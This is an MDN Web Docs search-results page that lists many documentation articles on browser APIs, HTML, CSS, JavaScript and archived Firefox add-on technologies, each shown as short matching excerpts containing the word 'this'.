nsIEffectiveTLDService
netwerk/dns/nsieffectivetldservice.idlscriptable
this is an interface that examines a hostname and determines the longest portion that should be treated as though it were a top-level domain (tld).
...to use
this service, use: var etldservice = components.classes["@mozilla.org/network/effective-tld-service;1"] .getservice(components.interfaces.nsieffectivetldservice); the name "effective tld service" is a historical one; today, the items
this interface manipulates are called public suffixes, and the list of them is the public suffix list, or psl.
...therefore, if you call getpublicsuffix("a.b.c.nonexistent"), you will get back "nonexistent" -
this "tld" is not in the public suffix list, but the implicit "*" rule means that it is returned.
...And 18 more matches
nsIWebBrowserPersist
it is best to set
this value explicitly unless you are prepared to accept the default values.
...
this flag does nothing for failed upload operations to remote servers.
...
this can only be used when persisting to a local file.
...And 18 more matches
Standard OS Libraries
this article gives the names of standard libraries that can be accessed with js-ctypes.
...
this article allows you to find out what types to give to values/arguments by supplying links to the documentation of the os libraries.
... winapi
this is the one that is most commonly used by js-ctypes.
...And 18 more matches
Migrating from Firebug - Firefox Developer Tools
this may be changed in bug 1269730.
...in the devtools
this option is called enable persistent logs and is available within the toolbox options panel.
...
this functionality is already integrated into the devtools using the chromelogger protocol and doesn't require any extensions to be installed.
...And 18 more matches
Background Tasks API - Web APIs
this code draws any pending updates to the document currently being displayed, runs any javascript code the page needs to run, accepts events from input devices, and dispatches those events to the elements that should receive them.
...it's an extremely busy chunk of code, and your main javascript code may run right inside
this thread along with all of
this.
...in the past, there's been no way to do
this reliably other than by writing code that's as efficient as possible and by offloading as much work as possible to workers.
...And 18 more matches
HTMLSelectElement - Web APIs
tmlselectelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlselectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface inherits the properties of htmlelement, and of element and node.
...only one form-associated element in a document can have
this attribute specified.
... htmlselectelement.formread only an htmlformelement referencing the form that
this element is associated with.
...And 18 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
this event loop may be either the browser's main event loop or the event loop driving a web worker.
...
this lets the given function run without the risk of interfering with another script's execution, yet also ensures that the microtask runs before the user agent has the opportunity to react to actions taken by the microtask.
...
this is a quick, simplified explanation, but if you would like more details, you can read the information in the article in depth: microtasks and the javascript runtime environment.
...And 18 more matches
Touch events - Web APIs
during
this interaction, an application receives touch events during the start, move, and end phases.
...
this may be a screen or trackpad.
...
this may be a finger (or elbow, ear, nose, whatever, but typically a finger) or stylus.
...And 18 more matches
Migrating from webkitAudioContext - Web APIs
in
this article, we cover the differences in web audio api since it was first implemented in webkit and how to update your code to use the modern web audio api.
...
this article attempts to summarize the areas where developers are likely to encounter these problems and provide examples on how to port such code to standards based audiocontext, which will work across different browser engines.
... if your code uses either of these names, like in the example below : // old method names var gain = context.creategainnode(); var delay = context.createdelaynode(); var js = context.createjavascriptnode(1024); you can simply rename the methods to look like
this: // new method names var gain = context.creategain(); var delay = context.createdelay(); var js = context.createscriptprocessor(1024); the semantics of these methods remain the same in the renamed versions.
...And 18 more matches
Example and tutorial: Simple synth keyboard - Web APIs
this article presents the code and working demo of a video keyboard you can play using the mouse.
...
this example makes use of the following web api interfaces: audiocontext, oscillatornode, periodicwave, and gainnode.
... because oscillatornode is based on audioscheduledsourcenode,
this is to some extent an example for that as well.
...And 18 more matches
Window - Web APIs
properties
this interface inherits properties from the eventtarget interface and implements properties from the windoworworkerglobalscope and windoweventhandlers mixins.
... window.closed read only
this property indicates whether the current window is closed or not.
... window.fullscreen
this property indicates whether the window is displayed in full screen or not.
...And 18 more matches
WritableStream.WritableStream() - Web APIs
underlyingsink can contain the following: start(controller) optional
this is a method, called immediately when the object is constructed.
... the contents of
this method are defined by the developer, and should aim to get access to the underlying sink.
... if
this process is to be done asynchronously, it can return a promise to signal success or failure.
...And 18 more matches
Cognitive accessibility - Accessibility
this document introduces cognitive accessibility and improving accessibility of the web for people with cognitive and learning differences.
...in
this document, we focus on steps developers should take to improve the cognitive accessibility of their web sites and applications.
...one way to handle
this is to focus on cognitive skills.
...And 18 more matches
Border-radius generator - CSS: Cascading Style Sheets
this tool can be used to generate css3 border-radius effects.
...r-select: text; float: right; } javascript content 'use strict'; /** * ui-inputslidermanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.addeventlistener('click', function(e) {
this.select(); }); input.addeventlistener('change', function(e) { var value = parseint(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); subscribe(obj.topic, function(value) { input.value = value + obj.unit; }); return input; } var slidercomponent = function slidercomponent(obj, sign) { var slider =...
...) { var min = node.getattribute('data-min') | 0; var max = node.getattribute('data-max') | 0; var step = node.getattribute('data-step') | 0; var value = node.getattribute('data-value') | 0; var topic = node.getattribute('data-topic'); var unit = node.getattribute('data-unit'); var name = node.getattribute('data-info'); var sensivity = node.getattribute('data-sensivity') | 0;
this.min = min;
this.max = max > 0 ?
...And 18 more matches
Video player styling basics - Developer guides
this follow-up article looks at how to style
this custom player, including making it responsive.
... preliminary modifications from the original example
this section summarises the modifications that were made to the original video player example to make the styling task easier, before the bulk of the work was started.
...
this has now been changed to use a data-state attribute, which
this code already uses to handle its fullscreen implementation.
...And 18 more matches
The HTML autocomplete attribute - HTML: Hypertext Markup Language
in order to provide autocompletion, user-agents might require <input>/<select>/<textarea> elements to: have a name and/or id attribute be descendants of a <form> element the form to have a submit button values "off" the browser is not permitted to automatically enter or select a value for
this field.
...when creating a new account or changing passwords,
this should be used for an "enter your new password" or "confirm new password" field, as opposed to a general "enter your current password" field that might be present.
...
this may be used by the browser both to avoid accidentally filling in an existing password and to offer assistance in creating a secure password (see also preventing autofilling with autocomplete="new-password").
...And 18 more matches
<input type="file"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...
this string is a comma-separated list of unique file type specifiers.
... for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like
this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> capture the capture attribute value is a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.
...And 18 more matches
Link types - HTML: Hypertext Markup Language
: for another medium, like a handheld device (if the media attribute is set) in another language (if the hreflang attribute is set), in another format, such as a pdf (if the type attribute is set) a combination of these <a>, <area>, <link> <form> archives defines a hyperlink to a document that contains an archive link to
this one.
... for example, a blog entry could link to a monthly index page
this way.
... note:
this may be a mailto: hyperlink, but
this is not recommended on public pages as robot harvesters will quickly lead to a lot of spam sent to the address.
...And 18 more matches
Indexed collections - JavaScript
« previousnext »
this chapter introduces collections of data which are ordered by an index value.
...
this includes arrays and array-like constructs such as array objects and typedarray objects.
... to create an array with non-zero length, but without any items, either of the following can be used: //
this...
...And 18 more matches
Function.prototype.apply() - JavaScript
the apply() method calls a function with a given
this value, and arguments provided as an array (or an array-like object).
... the source for
this interactive example is stored in a github repository.
... syntax func.apply(
thisarg, [ argsarray]) parameters
thisarg the value of
this provided for the call to func.
...And 18 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
being able to mix content types like
this has many advantages, but it also required a very real problem to be solved.
... contrary to popular opinion, the answer to
this question is not "it can tell from the doctype declaration".
...
this parameter says that the <svg> element and its child elements belong to whichever xml dialect has the namespace name 'http://www.w3.org/2000/svg' which is, of course, svg.
...And 18 more matches
Using custom elements - Web Components
this article introduces the use of the custom elements api.
... high-level view the controller of custom elements on a web document is the customelementregistry object —
this object allows you to register a custom element on the page, return information on what custom elements are registered, etc.
...
this takes as its arguments: a domstring representing the name you are giving to the element.
...And 18 more matches
XUL Migration Guide - Archive of obsolete content
this guide aims to help you migrate a xul-based add-on to the sdk.
... see
this comparison of the benefits and limitations of sdk development and xul development.
... if your add-on needs a lot of help from third party packages, low-level apis, or xpcom, then the cost of migrating is high, and may not be worth it at
this point.
...And 17 more matches
Examples and demos from articles - Archive of obsolete content
a possible approach to solve
this problem is to nest all the informations needed by each animation to start, stop, etc.
... here is a possible and minimalist example of such abstraction, which for
this reason we named minidaemon.
... determine if an element has been totally scrolled [html]
this example shows how to determine whether a user has completely scrolled an element or not.
...And 17 more matches
Appendix D: Loading Scripts - Archive of obsolete content
as
this module only exists on firefox 4 and other gecko 2-based platforms, the services in question will have to be manually loaded on other platforms.
...
this is easily resolved by deferring the work to a dynamically added onload hander.
...javascript files or urls may be loaded in
this manner by first retrieving their contents into memory using an xmlhttprequest.
...And 17 more matches
Local Storage - Archive of obsolete content
we'll discuss logging in
this section, but first let's look at the right (or at least, common and scalable) way of managing local files.
...the structure could be something like
this: s435l.default (your profile directory) xulschool log.txt somedbfile.sqlite the directory service and the nsifile interface are used to create the local directory.
... getservice(ci.nsiproperties); //
this is a reference to the profile dir (profd) now.
...And 17 more matches
Getting Started - Archive of obsolete content
for
this reason we suggest that you install a second copy into a second directory (make sure that you use a different profile as stated in the release notes) extract the chrome the chrome is stored in \mozilla\chrome and the individual modules are stored in jar files.
...for
this tutorial we are going to use the classic skin as a base.
...remember if at any point you wish to revert back to the original code again, just extract
this jar over top of what you've modified.
...And 17 more matches
generateCRMFRequest() - Archive of obsolete content
non-standard
this feature is non-standard and is not on a standards track.
... deprecated
this feature has been removed from the web standards.
...avoid using it and update existing code if possible; see the compatibility table at the bottom of
this page to guide your decision.
...And 17 more matches
MenuItems - Archive of obsolete content
this allows the user to discover what shortcut keys are available by looking at the menus.
...for the "open" item in
this example,
this command can be invoked by using the "accel" modifier key and pressing 'o'.
...you might do
this if the key associated with the item changes, for instance a list of open windows displayed on a window menu.
...And 17 more matches
Content Panels - Archive of obsolete content
« previousnext » in
this section, we'll look at how to add panels that can display html pages or other xul files.
...there are three problems with
this approach.
... first, each window could appear in a different location (although there are ways around
this).
...And 17 more matches
Creating an Installer - Archive of obsolete content
parts of
this page show the use of the xpinstall api.
... the majority of
this api is now deprecated and as of gecko 1.9 no longer available.
... « previousnext »
this section will describe packaging a xul application into an installer.
...And 17 more matches
listitem - Archive of obsolete content
type, value properties accesskey, accessible, checked, control, crop, current, disabled, image, label, selected, tabindex, value style classes listitem-iconic examples <listbox id="thelist"> <listitem label="ruby"/> <listitem label="emerald"/> <listitem label="sapphire" selected="true"/> <listitem label="diamond"/> </listbox> attributes accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
... use hasattribute() to determine whether
this attribute is set instead of getattribute().
...And 17 more matches
calICalendarView - Archive of obsolete content
because of
this close association between methods and attributes on the one hand, and content on the other, calicalendarview implementations are particularly well suited to xbl.
...
this explains the need for the fairly large list off attributes and methods that must be implemented, so that outside code can be able to gain a decent picture of the current state of those nodes.
...for instance, when the showdate method of the the calendar-multiday-view (an implementation of
this interface) will sometimes show an entire week of dates, and sometimes show only the single date passed in.
...And 17 more matches
Using workers in extensions - Archive of obsolete content
« previous
this article shows you how to use worker threads in extensions to perform tasks in the background without blocking the user interface.
... if you haven't already created an extension, or would like to refresh your memory, take a look at the previous articles in
this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension updating an extension to support multiple mozilla applications download the sample you may download the complete example: download the example.
... how
this differs from previous versions
this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information back to the main body of the extension's code to update the display in the status bar.
...And 17 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
this article is about how to invoke a plugin with the correct use of html.
...its use is subject to a few caveats that
this section outlines.
...here's an example of
this kind of usage for ie: <!-- ie only code --> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="366" height="142" id="myflash"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> </object> in the above example, the classid attribute that goes along with the object element points to a "clsid:" urn followed by the unique identi...
...And 17 more matches
Advanced styling effects - Learn web development
this article acts as a box of tricks, providing an introduction to some interesting advanced styling features such as box shadows, blend modes, and filters.
... you can find the examples in
this section at box-shadow.html (see the source code too).
...ome html: <article class="simple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> now the css: p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .simple { box-shadow: 5px 5px 5px rgba(0,0,0,0.7); }
this gives us the following result: you'll see that we've got four items in the box-shadow property value: the first length value is the horizontal offset — the distance to the right the shadow is offset from the original box (or left, if the value is negative).
...And 17 more matches
CSS building blocks - Learn web development
this module carries on where css first steps left off — now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper.
...
this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backgrounds and borders, debugging, and lots more.
... get started prerequisites before starting
this module, you should have: basic familiarity with using computers, and using the web passively (i.e.
...And 17 more matches
Introduction to web APIs - Learn web development
but again,
this complexity is abstracted away from you by the api.
...let's recap
this to make it clearer, and also mention where other javascript tools fit in: javascript — a high-level scripting language built into browsers that allows you to implement functionality on web pages/apps.
...you can see
this by taking a look at the mdn apis index page.
...And 17 more matches
Aprender y obtener ayuda - Learn web development
there are also are times when you'll get stuck and feel frustrated — even professional web developers feel like
this regularly — and it pays to know about the most effective ways to try and get help so you can progress in your work.
...
this article provides some hints and tips in both of these areas that will help you get more out of learning web development, as well as further reading so you can find out more information about each sub-topic should you wish..
...
this is more the kind of thinking you do while you are in the shower, or during a coffee break.
...And 17 more matches
Server-side web frameworks - Learn web development
with
this knowledge under our belt, it's time to explore how web frameworks can simplify these tasks, and give you an idea of how you'd choose a framework for your first server-side web application.
...
this section discusses some of the functionality that is often provided by web frameworks (not every framework will necessarily provide all of these features!).
...
this means that you will have an easier job, interacting with easier, higher-level code rather than lower level networking primitives.
...And 17 more matches
Accessibility API cross-reference
this cross-reference helps us see the difference between today's accessibility api's.
...
this table is the start of a cross-reference, so we can spot the differences and similarities in the apis.
... fill out tagged pdf column (relevant documents from pdf association) add missing aria properties fill out events cross reference table use
this info to expand mozilla's accessibility api coverage to include mac, so that we can start to freeze them talk about the fact that msaa uses one interface (iaccessible), wherease gnome accessibility uses a lot of different interfaces depending on the type of object go through the atk info and make sure it's up-to-date accessible roles description & notes msaa role (role_system_*) ...
...And 17 more matches
Command line options
this page describes the commonly used options and how to use them.
... each message option follows the syntax field=value, for example: to=foo@nowhere.net subject=cool page attachment=www.mozilla.org attachment='file:///c:/test.txt' body=check
this page or also in thunderbird 52 and newer: body=c:\path\to\file.txt separate multiple message options by comma (,), for example: "to=foo@nowhere.net,subject=cool page" .
...in some cases, option arguments must be enclosed in quotation marks (
this is noted in the option descriptions below).
...And 17 more matches
The Firefox codebase: CSS Guidelines
this document contains guidelines defining how css inside the firefox codebase should be written, it is notably relevant for firefox front-end engineers.
...the overriding css section contains more information about
this.
...most of the time, the common component already follows the a11y/theme standards defined in
this guide.
...And 17 more matches
JavaScript-DOM Prototypes in Mozilla
when xpconnect wraps a c++ object it will create a jsobject that is unique to
this c++ object.
...all the methods that are supposed to show up on
this jsobject are actually not properties of the object itself, but rather properties of the prototype of the jsobject for the wrapper (unless the c++ object's class info has the flag nsixpcscriptable::dont_share_prototype set, but lets assume that's not the case here).
... as an example of
this let's look at an html image element in a document.
...And 17 more matches
JNI.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/jni.jsm");
this module was available in firefox since version 17.
... if you would like to support versions before that, you can copy and paste the contents of the jsm file int jni stands for java native interface;
this library allows calling java code running in java virtual machines (jvms), etc.
... the most common use for
this module is in add-ons and other works on firefox for android (fennec).
...And 17 more matches
PopupNotifications.jsm
this service is used, for example, to display geolocation related notifications.
... to use
this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/popupnotifications.jsm"); once you've imported the module, you can then use the popupnotifications object it exports;
this object provides methods for creating and displaying popup notification panels.
... note:
this code module is imported by firefox chrome windows, so you don't have to do it yourself in most extensions.
...And 17 more matches
Promise
this is the only state that may transition to one of the other two states.
...
this may be any value, including undefined.
...
this may be any value, including undefined, though it is generally an error object, like in exception handling.
...And 17 more matches
PromiseWorker.jsm
this answers the question "when should i use a promiseworker?", and the answer is, whenever you would normally use a chromeworker, but want postmessage to return promises.
... here's the simplified diagram of how promiseworker works (svg version of the promiseworker diagram) setup and usage
this section explains how to set up and use a promiseworker.
...if any of the arguments needs to be transferred instead of copied,
this may be specified by making the argument an instance of basepromiseworker.meta or by using the atransferlist argument.
...And 17 more matches
JSClass
this field is the bitwise or of one or more of the jsclass_* constants described in jsclass.flags.
...
this is the default getter for the class.
...
this is the default setter for the class.
...And 17 more matches
Handling Mozilla Security Bugs
for more information read the rest of
this document.
...the security module owner will have one or more peers to assist in
this task.
...
this document describes how the new security organizational structure will work, and how security-related mozilla bug reports will be handled.
...And 17 more matches
nsDependentCString
this class does not own its data, so the creator of objects of
this type must take care to ensure that a nstdependentstring continues to reference valid memory for the duration of its use.
...
this is similar to using substring(str, startpos), except that the resulting string is flat.
...
this constructor should not be used.
...And 17 more matches
nsIAccessibleRelation
accessible/public/nsiaccessiblerelation.idlscriptable
this interface gives access to an accessibles set of relations.
... targetscount unsigned long returns the number of targets for
this relation.
... constants constant value description relation_nul 0x00 relation_controlled_by 0x01 some attribute of
this object is affected by a target object.
...And 17 more matches
nsIApplicationCache
netwerk/base/public/nsiapplicationcache.idlscriptable
this interface represents an application cache, which stores resources for offline use.
...plicationcachenamespace getmatchingnamespace(in acstring key); unsigned long gettypes(in acstring key); void initashandle(in acstring groupid, in acstring clientid); void markentry(in acstring key, in unsigned long typebits); void unmarkentry(in acstring key, in unsigned long typebits); attributes attribute type description active boolean true if the cache is the active cache for
this group, otherwise false.
... clientid acstring the client id for
this application cache.
...And 17 more matches
nsIComponentRegistrar
xpcom/components/nsicomponentregistrar.idlscriptable
this interface provides methods to access and modify the xpcom component registry.
...registration lasts for
this run only, and is not cached.
... note: formerly
this method would register component files directly.
...And 17 more matches
nsILocalFile
in gecko 14
this interface was merged into the nsifile interface.
... xpcom/io/nsilocalfile.idlscriptable
this interface adds methods to nsifile that are particular to a file that is accessible via the local file system.
... by default,
this value is false on all non-unix systems.
...And 17 more matches
nsILoginManager
note:
this method is provided for use only by the formfillcontroller, which calls it directly.
... aactionurl for form logins,
this parameter should specify the url to which the form will be submitted.
... ahttprealm for protocol logins, specify the http realm for which the login applies;
this is obtained from the www-authenticate header (see rfc 2617).
...And 17 more matches
nsINavHistoryQueryOptions
by default,
this is false.
... excludeitemifparenthasannotation obsolete since gecko 13.0 autf8string
this option excludes items from a bookmarks query if the parent of the item has
this annotation.
... excludeitems boolean
this option excludes all uris and separators from a bookmarks query.
...And 17 more matches
nsISocketProvider
netwerk/socket/nsisocketprovider.idlscriptable
this interface represents a socket provider.
... constants constant value description proxy_resolves_host 1 << 0
this flag is set if the proxy is to perform hostname resolution instead of the client.
... when set, the hostname parameter passed in
this interface will be used instead of the address structure passed for a later request.
...And 17 more matches
nsITransport
netwerk/base/public/nsitransport.idlscriptable
this interface provides a common way of accessing i/o streams connected to some resource.
...
this interface does not in any way specify the resource.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)
this interface provides methods to open blocking or non-blocking, buffered or unbuffered streams to the resource.
...And 17 more matches
nsIUpdate
toolkit/mozapps/update/nsiupdateservice.idlscriptable an interface that describes an object representing an available update to the current application -
this update may have several available patches from which one must be selected to download and install, for example we might select a binary difference patch first and attempt to apply that, then if the application process fails fall back to downloading a complete file-replace patch.
...
this object also contains information about the update that the front end and other application services can use to learn more about what is going on.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiupdatepatch getpatchat(in unsigned long index); nsidomelement serialize(in nsidomdocument updates); attributes attribute type description appversion astring the application version of
this update.
...And 17 more matches
Using the clipboard
this section provides information about cutting, copying, and pasting to and from the clipboard.
...
this component implements the interface nsiclipboardhelper, which has a function copystring that can be used to copy a string.
... const gclipboardhelper = components.classes["@mozilla.org/widget/clipboardhelper;1"] .getservice(components.interfaces.nsiclipboardhelper); gclipboardhelper.copystring("put me on the clipboard, please.");
this example will first create a clipboard helper and then copy a short string to the clipboard.
...And 17 more matches
Using Objective-C from js-ctypes
this guide explains how to convert objective-c code into js-ctypes code.
... while ([synth isspeaking]) {} [synth release]; return 0; } save
this file as test.m, and run with the following command, inside the same directory as the saved file (needs xcode).
...it performs the following through
this objective-c syntax: get the nsspeechsynthesizer class definition.
...And 17 more matches
Accessibility Inspector - Firefox Developer Tools
this article takes you through the main features of the accessibility inspector and how to use it.
...
this means trying your best to not lock anyone out of accessing information because of any disability they may have, or any other personal circumstances such as the device they are using, the speed of their network connection, or their geographic location or locale.
... here we are mainly talking about exposing information to people with visual disabilities —
this is done via the accessibility apis available inside web browsers, which expose information on what roles the different elements on your page play (e.g., are they just text, or are they buttons, links, form elements, etc.?).
...And 17 more matches
Examine and edit HTML - Firefox Developer Tools
this shows the complete hierarchy through the document for the branch containing the selected element: hovering over a breadcrumb highlights that element in the page.
...
this allows you to search for specific elements without the conflict of matching words within the text.
... html tree the rest of the pane shows you the page's html as a tree (
this ui is also called the markup view).
...And 17 more matches
IDBObjectStore - Web APIs
this sorting enables fast insertion, look-up, and ordered retrieval.
... note:
this feature is available in web workers.
... properties idbobjectstore.indexnames read only a list of the names of indexes on objects in
this object store.
...And 17 more matches
RTCInboundRtpStreamStats - Web APIs
bytesreceived a 64-bit integer which indicats the total numer of bytes that have been received so far for
this media source.
... fecpacketsdiscarded an integer value indicating the number of rtp forward error correction (fec) packets which have been received for
this source, for which the error correction payload was discarded.
... fecpacketsreceived an integer value indicating the total number of rtp fec packets received for
this source.
...And 17 more matches
Using the Screen Capture API - Web APIs
in
this article, we will examine how to use the screen capture api and its getdisplaymedia() method to capture part or all of a screen for streaming, recording, or sharing during a webrtc conference session.
...
this works with at least chrome, edge, and firefox.
... starting screen capture: async/await style async function startcapture(displaymediaoptions) { let capturestream = null; try { capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { console.error("error: " + err); } return capturestream; } you can write
this code either using an asynchronous function and the await operator, as shown above, or using the promise directly, as seen below.
...And 17 more matches
Using WebRTC data channels - Web APIs
in
this guide, we'll examine how to add a data channel to a peer connection, which can then be used to securely exchange arbitrary data; that is, any kind of data we wish, in any format we choose.
...
this is the easy way, and works for a wide variety of use cases, but may not be flexible enough for your needs.
...to do
this, simply call createdatachannel() without specifying a value for the negotiated property, or specifying the property with a value of false.
...And 17 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
webvtt body the structure of a webvtt consists of the following components, some of them optional, in
this order: an optional byte order mark (bom).
... you could use
this to add a description to the file.
... example 1 - simplest possible webvtt file webvtt example 2 - very simple webvtt file with a text header webvtt -
this file has no cues.
...And 17 more matches
Operable - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the operable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... guideline 2.1 — keyboard accessible: make all functionality available from a keyboard
this guideline covers the necessity of making core website functionality available via a keyboard in addition to other means (e.g.
...
this is very important so that keyboard users do not get trapped on specific sections of your apps.
...And 17 more matches
Variable fonts guide - CSS: Cascading Style Sheets
this article will give you all you need to know to get you started using variable fonts.
...
this results in more http requests, and more data being downloaded (usually around 20k or more per file).
...
this allows for common typographic techniques such as setting different size headings in different weights for better readability at each size, or using a slightly narrower width for data-dense displays.
...And 17 more matches
<input type="month"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... the microsoft edge month control looks like
this: value a domstring representing a month and year, or empty.
...the format of the month string used by
this input type is described in format of a valid local month string in date and time formats used in html.
...And 17 more matches
<input type="time"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...you can learn more about the format of the time value used by
this input type in time strings in date and time formats used in html.
... in
this example, you can see the time input's value by entering a time and seeing how it changes afterward.
...And 17 more matches
<script>: The Script element - HTML: Hypertext Markup Language
the html <script> element is used to embed executable code or data;
this is typically used to embed or refer to javascript code.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlscriptelement attributes
this element includes the global attributes.
...
this attribute allows the elimination of parser-blocking javascript where the browser would have to load and evaluate scripts before continuing to parse.
...And 17 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role rowgroup permitted aria roles any dom interface htmltablesectionelement attributes
this element includes the global attributes.
... deprecated attributes align
this enumerated attribute specifies how horizontal alignment of each cell content will be handled.
...And 17 more matches
Array.prototype.map() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax let new_array = arr.map(function callback( currentvalue[, index[, array]]) { // return element for new_array }[,
thisarg]) parameters callback function that is called for every element of arr.
...
thisargoptional value to use as
this when executing callback.
...And 17 more matches
Example - SVG: Scalable Vector Graphics
in
this example, we use xhtml, svg, javascript, and the dom to animate a swarm of "motes".
...combined, we get
this very natural-looking behavior.
...
this is done completely in w3c standards–xhtml, svg, and javascript–no flash or any vendor-specific extensions.
...And 17 more matches
page-worker - Archive of obsolete content
this can point to a remote file: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "http://en.wikipedia.org/wiki/internet" }); it can also point to an html file which you've packaged with your add-on.
... to do
this, save the file in your add-on's data directory and create the url using the data.url() method of the self module: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: require("sdk/self").data.url("myfile.html") }); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
... so you can rewrite the above code like
this: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "./myfile.html" }); you can load a new page by setting the page worker's contenturl property.
...And 16 more matches
windows - Archive of obsolete content
with
this module, you can: enumerate the currently opened browser windows open new browser windows listen for common window events such as open and close private windows if your add-on has not opted into private browsing, then you won't see any private browser windows.
... converting to chrome windows to convert from the browserwindow objects used in
this api to the chrome window objects used in the window/utils api, use the viewfor() function exported by the viewfor module.
... here's an example converting from a high-level browserwindow to a chrome window, and then back the other way: var { modelfor } = require("sdk/model/core"); var { viewfor } = require("sdk/view/core"); var browserwindows = require("sdk/windows").browserwindows; function converttochromeandback(browserwindow) { // get the chrome window for
this browserwindow var chromewindow = viewfor(browserwindow); // now we can use the chrome window api console.log(chromewindow.document.location.href); // -> "chrome://browser/content/browser.xul" // convert back to the high-level window var highlevelwindow = modelfor(chromewindow); // now we can use the sdk's high-level window api console.log(highlevelwindow.title); } browserwindows...
...And 16 more matches
places/bookmarks - Archive of obsolete content
usage
this module exports: three constructors: bookmark, group, and separator, corresponding to the types of objects, referred to as bookmark items, in the bookmarks database in firefox two additional functions, save() to create, update, and remove bookmark items, and search() to retrieve the bookmark items that match a particular set of criteria.
...
this will be saved implicitly.
...only explicitly saved // items are returned in
this array -- the `group` won't be // present here.
...And 16 more matches
ui/toolbar - Archive of obsolete content
you can supply three sorts of ui components: action buttons toggle buttons frames
this add-on builds part of the user interface for a music player using action buttons for the controls and a frame to display art and the currently playing song: var { actionbutton } = require('sdk/ui/button/action'); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var previous = actionbutton({ id: "previous", label: "previous", icon: "./icons/previous.png...
...
this add-on creates a toolbar containing one button and a frame: var { actionbutton } = require('sdk/ui/button/action'); var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var button = actionbutton({ id: "my-button", label: "my-button", icon: "./my-button.png" }); var frame = new frame({ url: "./my-frame.html" }); var toolbar = toolbar({ title: "player"...
..., items: [button, frame] });
this add-on creates a toolbar with one frame, that's hidden initially, and that logs show and hide events: var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); var toolbar = toolbar({ title: "my toolbar", items: [frame], hidden: true, onshow: showing, onhide: hiding }); function showing(e) { console.log("showing"); console.log(e); } function hiding(e) { console.log("hiding"); console.log(e); } parameters options : object required options: name type title string the toolbar's title.
...And 16 more matches
Localization - Archive of obsolete content
you'd add two files to the "locale" directory: my-addon/ data lib locale/ en-us.properties fr.properties "en-us.properties" contains
this: hello_id= hello!
... "fr.properties" contains
this: hello_id= bonjour !
... using localized strings in html
this example uses the action button api, which is only available from firefox 29 onwards.
...And 16 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
while
this is generally considered acceptable behavior, considerable care must be taken to avoid violating the mozilla add-on guidelines or creating an adverse user experience.
...the most technically sound method of achieving
this, and the only acceptable way of changing preferences such that they are automatically restored on add-on uninstall, is to make such changes in the default preference branch, as explained below.
...the following file, for instance, would change the default keyword search engine, assuming that an engine with the name example engine is installed, as described below: //
this is a localizable preference, so it must contain a url which // points at a properties file containing the preference name as a // property.
...And 16 more matches
Images, Tables, and Mysterious Gaps - Archive of obsolete content
the techniques described
this article are no longer best practices for web-based development.
...back in the early days,
this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.
... the components let's take a close look at the breeding ground for trouble, and why
this is a problem.
...And 16 more matches
Autodial for Windows NT - Archive of obsolete content
warning: the content of
this article may be out of date.
... introduction
this document is intended to explain how the autodial helper feature implemented for bug 93002 works and why it works that way.
...technically,
this control panel applet (internet options) is part of internet explorer.
...And 16 more matches
JavaScript crypto - Archive of obsolete content
non-standard
